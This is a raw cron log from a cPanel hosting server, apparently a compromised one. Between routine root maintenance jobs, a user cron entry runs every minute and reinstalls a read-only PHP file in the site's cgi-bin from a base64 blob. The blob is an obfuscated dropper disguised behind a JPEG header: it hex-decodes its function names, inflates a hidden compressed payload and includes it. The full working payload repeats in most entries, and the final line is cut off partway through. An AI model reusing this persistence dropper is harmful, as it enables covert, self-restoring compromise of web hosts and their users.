Aug 31 10:14:01 server CROND[12677]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:14:01 server CROND[12678]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:15:01 server CROND[13121]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 10:15:01 server CROND[13125]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 10:15:01 server CROND[13126]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 10:15:01 server CROND[13133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:15:01 server CROND[13135]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Aug 31 10:15:01 server CROND[13124]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:15:01 server CROND[13136]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:15:01 server CROND[13134]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 10:15:01 server CROND[13138]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 10:16:01 server CROND[14018]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:16:01 server CROND[14017]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:16:01 server CROND[14019]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:17:01 server CROND[14403]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:17:01 server CROND[14404]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:17:01 server CROND[14405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:18:01 server CROND[14788]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:18:01 server CROND[14789]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:18:01 server CROND[14790]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:19:01 server CROND[15172]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:19:01 server CROND[15173]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:19:01 server CROND[15174]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:20:01 server CROND[15659]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 10:20:01 server CROND[15660]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 10:20:01 server CROND[15665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:20:01 server CROND[15667]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:20:01 server CROND[15668]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 10:20:01 server CROND[15670]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 10:20:01 server CROND[15671]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:20:01 server CROND[15672]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 10:20:01 server CROND[15669]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 10:21:01 server CROND[16508]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:21:01 server CROND[16509]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:21:01 server CROND[16507]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:22:01 server CROND[16887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:22:01 server CROND[16890]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:22:01 server CROND[16889]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:23:01 server CROND[17275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:23:01 server CROND[17276]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:23:01 server CROND[17277]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:24:02 server CROND[17662]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:24:02 server CROND[17661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:24:02 server CROND[17663]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:25:01 server CROND[18145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:25:01 server CROND[18147]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 10:25:01 server CROND[18151]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 10:25:01 server CROND[18149]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 10:25:01 server CROND[18152]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 10:25:01 server CROND[18154]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:25:01 server CROND[18153]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Aug 31 10:25:01 server CROND[18150]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB